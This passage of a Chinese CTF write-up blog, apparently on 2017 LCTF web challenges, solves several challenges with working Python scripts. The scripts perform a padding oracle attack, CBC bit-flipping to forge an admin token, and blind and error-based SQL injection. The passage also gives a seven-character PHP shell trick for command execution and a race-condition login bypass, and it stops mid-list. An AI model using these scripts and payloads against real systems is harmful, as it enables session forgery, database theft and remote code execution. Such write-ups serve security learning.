class="string">'isadmin'</span>] = <span class="number">1</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $_SESSION[<span class="string">'isadmin'</span>] = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test_identity</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>($_SESSION[<span class="string">'id'</span>])) {</span><br><span class="line"> $c = base64_decode($_SESSION[<span class="string">'id'</span>]);</span><br><span class="line"> $token = base64_decode($_COOKIE[<span class="string">"token"</span>]);</span><br><span class="line"> <span class="keyword">if</span>($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){</span><br><span class="line"> <span class="keyword">if</span> ($u === <span class="string">'admin'</span>) {</span><br><span class="line"> $_SESSION[<span class="string">'isadmin'</span>] = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Error!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>这两个函数和2017NJCTF的一道cbc字节翻转题几乎一模一样,这里我参考了<a href="http://www.jianshu.com/p/7f171477a603" target="_blank" rel="noopener">Pr0ph3t</a>大佬的文章,通过构造特定的token(IV)进行<code>CBC字节翻转攻击</code>,使得服务器解出来的明文为<code>admin</code>,<br>但是这里不知道 <code>id</code>的值<br>再参考<a href="http://www.freebuf.com/vuls/98156.html" target="_blank" rel="noopener">FreeBuff</a>的这篇文章,通过构造特定的token,也就是IV,利用<code>test_identity()</code>函数导致的页面返回不同进行<code>PaddingOracle攻击</code>,从而推导出中间值,然后求出明文,也就是<code>id</code><br>总结一下,第一部分我们要做的有以下这几步<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1.弱口令登录</span><br><span class="line">2.PaddingOracle攻击得到id</span><br><span class="line">3.CBC字节翻转攻击伪造成真正的admin</span><br></pre></td></tr></table></figure></p>
<p>PaddingOracle攻击脚本如下<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#-*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment">#by:CodeMonster</span></span><br><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> r1</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">flag=<span class="string">''</span></span><br><span class="line">url=<span class="string">"http://111.231.111.54/login.php"</span></span><br><span class="line">token=base64.b64decode(<span class="string">"N2ZtWmZjSWJmaUtRNFNSeg=="</span>)</span><br><span class="line">id=<span class="string">''</span></span><br><span class="line">idhex=<span class="string">''</span></span><br><span class="line">n=<span class="number">15</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">16</span>):</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">16</span>*<span class="number">16</span>):</span><br><span class="line"> ok=<span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> flag:</span><br><span class="line"> ok+=chr((j+<span class="number">1</span>)^ord(k))</span><br><span class="line"> ss=(<span class="number">15</span>-j)*<span class="string">'\x00'</span>+chr(i)+ok</span><br><span class="line"> s=base64.b64encode(ss)</span><br><span class="line"> header={<span class="string">"Cookie"</span>: <span class="string">"PHPSESSID=0t4h76nv16i4m61noh2gli2nd5; token="</span>+s+<span class="string">";"</span>}</span><br><span class="line"> r2=r1.get(url,headers=header)</span><br><span class="line"> <span class="comment">#print r2.text</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">"Error"</span> <span class="keyword">not</span> <span class="keyword">in</span> r2.text:</span><br><span class="line"> <span class="comment">#print (i^(j+1)),i,j</span></span><br><span class="line"> flag=chr(i^(j+<span class="number">1</span>))+flag</span><br><span class="line"> id=chr((i^(j+<span class="number">1</span>))^(ord(token[<span class="number">15</span>-j])))+id</span><br><span class="line"> idhex=hex((i^(j+<span class="number">1</span>))^(ord(token[<span class="number">15</span>-j])))+<span class="string">"-"</span>+idhex</span><br><span class="line"> <span class="keyword">print</span> j,id</span><br><span class="line"> <span class="keyword">print</span> j,idhex</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure><br>其中token和cookie要修改成第一步登录成功后的token和cookie,最后能求出14位id和一位0x01,可以爆破最后一位</p>
<p>CBC字节翻转攻击脚本<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#-*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment">#by:CodeMonster</span></span><br><span class="line"><span class="keyword">import</span> base64 <span class="keyword">as</span> b64</span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line">dic = open(<span class="string">"passsss.txt"</span>,<span class="string">"a"</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">256</span>):</span><br><span class="line"> source_str = chr(i)+<span class="string">'EZKIhn1dPhWY2P'</span>+<span class="string">'\x01'</span></span><br><span class="line"> target_srt = <span class="string">'admin'</span> + <span class="number">11</span> * <span class="string">'\x0b'</span></span><br><span class="line"> token = <span class="string">'cWMzdTJQMUxGSmJSRmt5Vw=='</span> <span class="comment">#你获得的初始IV的base64encode值</span></span><br><span class="line"> token = list(b64.b64decode(token))</span><br><span class="line"> <span class="keyword">for</span> x <span class="keyword">in</span> xrange(<span class="number">0</span>,len(target_srt)):</span><br><span class="line"> token[x] = chr(ord(token[x]) ^ ord(target_srt[x]) ^ ord(source_str[x]))</span><br><span class="line"> sss=b64.b64encode(<span class="string">''</span>.join(token))</span><br><span class="line"> dic.write(<span class="string">""</span>.join(sss))</span><br><span class="line"> dic.write(<span class="string">""</span>.join(<span class="string">"\n"</span>))</span><br><span class="line">dic.close()</span><br></pre></td></tr></table></figure><br>然后去burpsuite里爆破token就好,即可登录为管理员</p>
<h2 id="0x02sql注入"><a href="#0x02sql注入" class="headerlink" title="0x02sql注入"></a>0x02sql注入</h2><p>这部分的核心代码主要是这几句<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"> $id = mysql_real_escape_string($_GET[<span class="string">'id'</span>]);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'title'</span>])){</span><br><span class="line"> $title = mysql_real_escape_string($_GET[<span class="string">'title'</span>]);</span><br><span class="line"> $title = sprintf(<span class="string">"AND title='%s'"</span>, $title);</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"> $title = <span class="string">''</span>;</span><br><span class="line">}</span><br><span class="line">$sql = sprintf(<span class="string">"SELECT * FROM article WHERE id='%s' $title"</span>, $id);</span><br><span class="line">$result = mysql_query($sql,$con);</span><br><span class="line">$row = mysql_fetch_array($result);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($row[<span class="string">'title'</span>])&&<span class="keyword">isset</span>($row[<span class="string">'content'</span>])){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<h1>"</span>.$row[<span class="string">'title'</span>].<span class="string">"</h1><br>"</span>.$row[<span class="string">'content'</span>];</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"This article does not exist."</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><br>看到用了sprintf格式化字符串,想到<a href="https://www.codemonster.cn/2017/10/31/2017-3th-fjwlkjaqds-writeup/">省赛的注入题</a><br>测试了一下<code>%1$'</code>可以成功逃逸单引号,构造盲注脚本如下,在web1.key的f14g字段找到flag</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#-*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment">#by:CodeMonster</span></span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> r</span><br><span class="line">payload=list(<span class="string">"ABCDEFGHIJKLMNOPQRSTUVWXYZ@1234567890qwertyuiopasdfghjklzxcvbnm_{}.!,"</span>)</span><br><span class="line">data=<span class="string">''</span></span><br><span class="line">flag=<span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> range (<span class="number">0</span>,<span class="number">50</span>):</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range (<span class="number">1</span>,<span class="number">50</span>):</span><br><span class="line"> <span class="keyword">for</span> p <span class="keyword">in</span> payload:</span><br><span class="line"> header={<span class="string">"Cookie"</span>: <span class="string">"PHPSESSID=b1kkq3ohuavj53kkl4u29dg914; token=SUIEVxUzVHYpEQEOFFIiXQ==;"</span>}</span><br><span class="line"> url=<span class="string">"http://111.231.111.54/admin.php?id=1&title="</span></span><br><span class="line"> <span class="comment">#url+="%1$%27%20or%20(ascii(mid((select%20group_concat(column_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=database()%20and%20table_name=0x6b6579),{0},1))={1})%23".format(i,ord(p))</span></span><br><span class="line"> url+=<span class="string">"%1$%27%20or%20(ascii(mid((select%20f14g%20from%20web1.key),{0},1))={1})%23"</span>.format(i,ord(p))</span><br><span class="line"> <span class="comment">#print url</span></span><br><span class="line"> r1=r.get(url,headers=header)</span><br><span class="line"> <span class="comment">#print r1.text</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">"myblog"</span> <span class="keyword">in</span> r1.text:</span><br><span class="line"> flag+=p</span><br><span class="line"> <span class="keyword">print</span> i,flag</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"><span class="keyword">print</span> flag</span><br></pre></td></tr></table></figure>
<h1 id="“他们”有什么秘密呢"><a href="#“他们”有什么秘密呢" class="headerlink" title="“他们”有什么秘密呢?"></a>“他们”有什么秘密呢?</h1><p>一个简单到不能再简单的……<br><a href="http://182.254.246.93/" target="_blank" rel="noopener">http://182.254.246.93/</a></p>
<p>index.php<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1.entrance.php</span><br><span class="line">2.There is no need to scan and brute force!</span><br><span class="line">3.Hacking for fun!</span><br></pre></td></tr></table></figure></p>
<h2 id="0x00各种注入骚操作得到下一关文件名"><a href="#0x00各种注入骚操作得到下一关文件名" class="headerlink" title="0x00各种注入骚操作得到下一关文件名"></a>0x00各种注入骚操作得到下一关文件名</h2><p>entrance.php存在报错注入<br>构造<code>1 and linestring(pro_id)</code>得到表名<code>product_2017ctf</code>和数据库名<code>youcanneverfindme17</code><br>通过join注入得到字段名<code>d067a0fa9dc61a6e</code><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner)) as c);</span><br></pre></td></tr></table></figure><br>但是这个字段名被ban了,只好通过order by来得到d067a0fa9dc61a6e字段的内容,脚本如下<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#-*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment">#by:CodeMonster</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">r=requests.session()</span><br><span class="line">url=<span class="string">"http://182.254.246.93/entrance.php?"</span></span><br><span class="line">l=<span class="string">".0123456789abcdefghijklmnopqrstuvwxyz"</span></span><br><span class="line">k=<span class="string">""</span></span><br><span class="line">sec=<span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">36</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(len(l)):</span><br><span class="line"> payload=sec+l[j]</span><br><span class="line"> data={<span class="string">"pro_id"</span>:<span class="string">"3 union select 1,'test',4,'{}' from product_2017ctf order by 4"</span>.format(payload)}</span><br><span class="line"> r1=r.post(url,data=data)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'nextentrance'</span> <span class="keyword">in</span> r1.text:</span><br><span class="line"> sec+=k</span><br><span class="line"> <span class="keyword">print</span> payload</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> k=l[j]</span><br><span class="line"> <span class="keyword">if</span> j==len(l)<span class="number">-1</span>:</span><br><span class="line"> sec+=k</span><br></pre></td></tr></table></figure><br>得到的内容和字段名拼接得到<code>d067a0fa9dc61a6e7195ca99696b5a896.php</code></p>
<h2 id="0x01七个字符getshell"><a href="#0x01七个字符getshell" class="headerlink" title="0x01七个字符getshell"></a>0x01七个字符getshell</h2><p>d067a0fa9dc61a6e7195ca99696b5a896.php是个类似上传的页面,可以在服务器的一个专属文件夹生成指定文件名和内容的文件,一开始以为可以通过<code>content[]</code>绕过长度限制,无果,然后google到了原题<br><a href="http://c.colabug.com/article-2421-1.html" target="_blank" rel="noopener">http://c.colabug.com/article-2421-1.html</a><br>传三个文件<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">文件名 内容</span><br><span class="line">bash 随意</span><br><span class="line">bb 7个字符内的命令</span><br><span class="line">z.php <?=`*`;</span><br></pre></td></tr></table></figure><br><code>z.php</code>中的<code><?=`*`;</code>刚好7个字符,访问后能把当前目录下的所有文件按字母顺序列出,然后执行。<br>传好上面3个文件后,当前文件夹就有4个文件了,按字母排序如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash bb index.html(题目自带) z.php</span><br></pre></td></tr></table></figure><br>访问z.php后,相当于执行了<code>bash bb index.php z.php</code><br>所以我们只需要通过修改bb来执行7个字符以内的命令<br>bb的内容分别为<code>ls /</code>和<code>cat /3*</code><br><img src="/img/2017lctf1.png" alt=""></p>
<h1 id="萌萌哒报名系统"><a href="#萌萌哒报名系统" class="headerlink" title="萌萌哒报名系统"></a>萌萌哒报名系统</h1><p>天依花了一整天的时间用IDE开发了一个报名系统,现在她睡着了,难道你们不想做点什么嘛XD?<br><a href="http://123.206.120.239/" target="_blank" rel="noopener">http://123.206.120.239/</a></p>
<h2 id="0x00下载源码"><a href="#0x00下载源码" class="headerlink" title="0x00下载源码"></a>0x00下载源码</h2><p>提示了IDE开发<br>扫到了<code>http://123.206.120.239/.idea/workspace.xml</code><br><img src="/img/2017lctf5.png" alt=""><br>下载到了源码<br>login.php<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> session_start();</span><br><span class="line"> <span class="keyword">include</span>(<span class="string">'config.php'</span>);</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> $pdo = <span class="keyword">new</span> PDO(<span class="string">'mysql:host=localhost;dbname=xdcms'</span>, $user, $pass);</span><br><span class="line"> }<span class="keyword">catch</span> (<span class="keyword">Exception</span> $e){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'mysql connected error'</span>);</span><br><span class="line"> }</span><br><span class="line"> $username = (<span class="keyword">isset</span>($_POST[<span class="string">'username'</span>]) === <span class="keyword">true</span> && $_POST[<span class="string">'username'</span>] !== <span class="string">''</span>) ? (string)$_POST[<span class="string">'username'</span>] : <span class="keyword">die</span>(<span class="string">'Missing username'</span>);</span><br><span class="line"> $password = (<span class="keyword">isset</span>($_POST[<span class="string">'password'</span>]) === <span class="keyword">true</span> && $_POST[<span class="string">'password'</span>] !== <span class="string">''</span>) ? (string)$_POST[<span class="string">'password'</span>] : <span class="keyword">die</span>(<span class="string">'Missing password'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (strlen($username) > <span class="number">32</span> || strlen($password) > <span class="number">32</span>) {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Invalid input'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $sth = $pdo->prepare(<span class="string">'SELECT password FROM users WHERE username = :username'</span>);</span><br><span class="line"> $sth->execute([<span class="string">':username'</span> => $username]);</span><br><span class="line"> <span class="keyword">if</span> ($sth->fetch()[<span class="number">0</span>] !== $password) {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'wrong password'</span>);</span><br><span class="line"> }</span><br><span class="line"> $_SESSION[<span class="string">'username'</span>] = $username;</span><br><span class="line"> <span class="keyword">unset</span>($_SESSION[<span class="string">'is_logined'</span>]);</span><br><span class="line"> <span class="keyword">unset</span>($_SESSION[<span class="string">'is_guest'</span>]);</span><br><span class="line"> <span class="comment">#echo $username;</span></span><br><span class="line"> header(<span class="string">"Location: member.php"</span>);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><br>member.php<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> error_reporting(<span class="number">0</span>);</span><br><span class="line"> session_start();</span><br><span class="line"> <span class="keyword">include</span>(<span class="string">'config.php'</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>($_SESSION[<span class="string">'username'</span>]) === <span class="keyword">false</span>) {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'please login first'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> $pdo = <span class="keyword">new</span> PDO(<span class="string">'mysql:host=localhost;dbname=xdcms'</span>, $user, $pass);</span><br><span class="line"> }<span class="keyword">catch</span> (<span class="keyword">Exception</span> $e){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'mysql connected error'</span>);</span><br><span class="line"> }</span><br><span class="line"> $sth = $pdo->prepare(<span class="string">'SELECT identity FROM identities WHERE username = :username'</span>);</span><br><span class="line"> $sth->execute([<span class="string">':username'</span> => $_SESSION[<span class="string">'username'</span>]]);</span><br><span class="line"> <span class="keyword">if</span> ($sth->fetch()[<span class="number">0</span>] === <span class="string">'GUEST'</span>) {</span><br><span class="line"> $_SESSION[<span class="string">'is_guest'</span>] = <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $_SESSION[<span class="string">'is_logined'</span>] = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>($_SESSION[<span class="string">'is_logined'</span>]) === <span class="keyword">false</span> || <span class="keyword">isset</span>($_SESSION[<span class="string">'is_guest'</span>]) === <span class="keyword">true</span>) {</span><br><span class="line"></span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'file'</span>])===<span class="keyword">false</span>)</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"None"</span>;</span><br><span class="line"> <span class="keyword">elseif</span>(is_file($_GET[<span class="string">'file'</span>]))</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"you cannot give me a file"</span>;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> readfile($_GET[<span class="string">'file'</span>]);</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"><meta http-equiv=<span class="string">"Content-Type"</span> content=<span class="string">"text/html; charset=UTF-8"</span>></span><br><span class="line"></head></span><br><span class="line"><body background=<span class="string">"./images/1.jpg"</span>></span><br><span class="line"><object type=<span class="string">"application/x-shockwave-flash"</span> style=<span class="string">"outline:none;"</span> data=<span class="string">"http://cdn.abowman.com/widgets/hamster/hamster.swf?"</span> width=<span class="string">"300"</span> height=<span class="string">"225"</span>><param name=<span class="string">"movie"</span> value=<span class="string">"http://cdn.abowman.com/widgets/hamster/hamster.swf?"</span>></param><param name=<span class="string">"AllowScriptAccess"</span> value=<span class="string">"always"</span>></param><param name=<span class="string">"wmode"</span> value=<span class="string">"opaque"</span>></param></object></span><br><span class="line"><p style=<span class="string">"color:orange"</span>>你好啊,但是你好像不是XDSEC的人,所以我就不给你flag啦~~</p></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><br>register.php<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">include</span>(<span class="string">'config.php'</span>);</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> $pdo = <span class="keyword">new</span> PDO(<span class="string">'mysql:host=localhost;dbname=xdcms'</span>, $user, $pass);</span><br><span class="line"> }<span class="keyword">catch</span> (<span class="keyword">Exception</span> $e){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'mysql connected error'</span>);</span><br><span class="line"> }</span><br><span class="line"> $admin = <span class="string">"xdsec"</span>.<span class="string">"###"</span>.str_shuffle(<span class="string">'you_are_the_member_of_xdsec_here_is_your_flag'</span>);</span><br><span class="line"> $username = (<span class="keyword">isset</span>($_POST[<span class="string">'username'</span>]) === <span class="keyword">true</span> && $_POST[<span class="string">'username'</span>] !== <span class="string">''</span>) ? (string)$_POST[<span class="string">'username'</span>] : <span class="keyword">die</span>(<span class="string">'Missing username'</span>);</span><br><span class="line"> $password = (<span class="keyword">isset</span>($_POST[<span class="string">'password'</span>]) === <span class="keyword">true</span> && $_POST[<span class="string">'password'</span>] !== <span class="string">''</span>) ? (string)$_POST[<span class="string">'password'</span>] : <span class="keyword">die</span>(<span class="string">'Missing password'</span>);</span><br><span class="line"> $code = (<span class="keyword">isset</span>($_POST[<span class="string">'code'</span>]) === <span class="keyword">true</span>) ? (string)$_POST[<span class="string">'code'</span>] : <span class="string">''</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (strlen($username) > <span class="number">16</span> || strlen($username) > <span class="number">16</span>) {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Invalid input'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $sth = $pdo->prepare(<span class="string">'SELECT username FROM users WHERE username = :username'</span>);</span><br><span class="line"> $sth->execute([<span class="string">':username'</span> => $username]);</span><br><span class="line"> <span class="keyword">if</span> ($sth->fetch() !== <span class="keyword">false</span>) {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'username has been registered'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $sth = $pdo->prepare(<span class="string">'INSERT INTO users (username, password) VALUES (:username, :password)'</span>);</span><br><span class="line"> $sth->execute([<span class="string">':username'</span> => $username, <span class="string">':password'</span> => $password]);</span><br><span class="line"></span><br><span class="line"> preg_match(<span class="string">'/^(xdsec)((?:###|\w)+)$/i'</span>, $code, $matches);</span><br><span class="line"> <span class="keyword">if</span> (count($matches) === <span class="number">3</span> && $admin === $matches[<span class="number">0</span>]) {</span><br><span class="line"> $sth = $pdo->prepare(<span class="string">'INSERT INTO identities (username, identity) VALUES (:username, :identity)'</span>);</span><br><span class="line"> $sth->execute([<span class="string">':username'</span> => $username, <span class="string">':identity'</span> => $matches[<span class="number">1</span>]]);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $sth = $pdo->prepare(<span class="string">'INSERT INTO identities (username, identity) VALUES (:username, "GUEST")'</span>);</span><br><span class="line"> $sth->execute([<span class="string">':username'</span> => $username]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<script>alert("register success");location.href="./index.html"</script>'</span>;</span><br></pre></td></tr></table></figure></p>
<h2 id="0x01竞争绕过身份检测"><a href="#0x01竞争绕过身份检测" class="headerlink" title="0x01竞争绕过身份检测"></a>0x01竞争绕过身份检测</h2><p>一开始一直以为要预测<code>str_shuffle()</code>打乱的字符串,无果,分析代码发现注册的时候是先将<code>用户名密码插入数据库</code>,再判断注册码是否正确,然后插入用户身份,而member.php中判断用户身份的逻辑用的是<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ($sth->fetch()[<span class="number">0</span>] === <span class="string">'GUEST'</span>) {</span><br><span class="line"> $_SESSION[<span class="string">'is_guest'</span>] = <span class="keyword">true</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>只要不为<code>GUEST</code>即可执行后面的代码<br>想到通过竞争,在<code>GUEST</code>还没更新进数据库的时候就登录并访问member.php,从而跳过身份验证<br>这里我的操作是<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1.burpsuite Intruder无限POST login.php进行登录操作</span><br><span class="line">2.burpsuite 